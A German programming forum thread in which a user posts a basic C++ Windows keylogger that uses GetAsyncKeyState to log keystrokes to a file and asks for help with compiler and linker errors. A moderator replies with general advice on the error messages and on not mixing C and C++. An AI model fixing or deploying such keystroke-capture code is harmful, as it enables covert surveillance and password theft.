Programmierung eines einfachen Keyloggers



  • #include <iostream>
    #include <Windows.h>
    #include <fstream>

    using namespace std;

    int Save(int _key, char *file);

    int main() {

    char i;
    
    while (true) {
    	for (i = 8; i <= 255; i++) {
    		if (GetAsyncKeyState(i) == -32767) {
    			Save(i, "log.txt");
    		}
    	}
    }
    
    return 0;
    

    }

    int Save(int _key, char *file) {

    cout << _key << endl;
    
    FILE *OUTPUT_FILE;
    
    OUTPUT_FILE = fopen(file, "a+");
    fprintf(OUTPUT_FILE, "%s", &_key);
    fclose(OUTPUT_FILE);
    
    return 0;
    

    }

    kann mir jemand helfen?
    Ich programmiere in Visual Studio 17 und bekomme folgende Fehler:
    "Schweregrad Code Beschreibung Projekt Datei Zeile Unterdrückungszustand
    Fehler (aktiv) E0167 Das Argument vom Typ ""const char *"" ist mit dem Parameter vom Typ ""char *"" inkompatibel. keylogger_cpp C:\Users\bruno\source\repos\keylogger_cpp\keylogger_cpp\main.cpp 16 "

    "Schweregrad Code Beschreibung Projekt Datei Zeile Unterdrückungszustand
    Warnung C4477 "fprintf": Die Formatzeichenfolge "%s" erfordert ein Argument vom Typ "char *", das variadic-Argument "1" weist aber den Typ "int *" auf. keylogger_cpp c:\users\bruno\source\repos\keylogger_cpp\keylogger_cpp\main.cpp 32 "

    "Schweregrad Code Beschreibung Projekt Datei Zeile Unterdrückungszustand
    Fehler LNK2019 Verweis auf nicht aufgelöstes externes Symbol ""int __cdecl Save(int,char const *)" (?Save@@YAHHPBD@Z)" in Funktion "_main". keylogger_cpp C:\Users\bruno\source\repos\keylogger_cpp\keylogger_cpp\main.obj 1"

    "Schweregrad Code Beschreibung Projekt Datei Zeile Unterdrückungszustand
    Fehler LNK1120 1 nicht aufgelöste Externe keylogger_cpp C:\Users\bruno\source\repos\keylogger_cpp\Debug\keylogger_cpp.exe 1 "

    Bitte helft mir. Ich habe schon mehrfach drüber geschaut finde aber keinen fehler im programm....


  • Mod

    Die Fehlermeldungen sind doch sehr, sehr eindeutig. Hast du wenigstens mal versucht, diese zu verstehen? Erklär doch mal, wie du beispielsweise

    Warnung C4477 "fprintf": Die Formatzeichenfolge "%s" erfordert ein Argument vom Typ "char *", das variadic-Argument "1" weist aber den Typ "int *" auf. keylogger_cpp c:\users\bruno\source\repos\keylogger_cpp\keylogger_cpp\main.cpp 32 "

    interpretierst und wieso du denkst, dass diese Meldung nicht berechtigt wäre.

    Viele/alle deiner Probleme kommen übrigens davon, dass du C mit C++ mischt. Benutze kein fprintf, benutze die fstreams! Benutze kein char*, benutze string! Allgemeiner: Wenn du selber programmierst, musst du auch verstehen, was du tust. Es reicht nicht, zu googeln und Codefetzen zusammen zu kopieren. Du musst die Sprache von Anfang an systematisch lernen!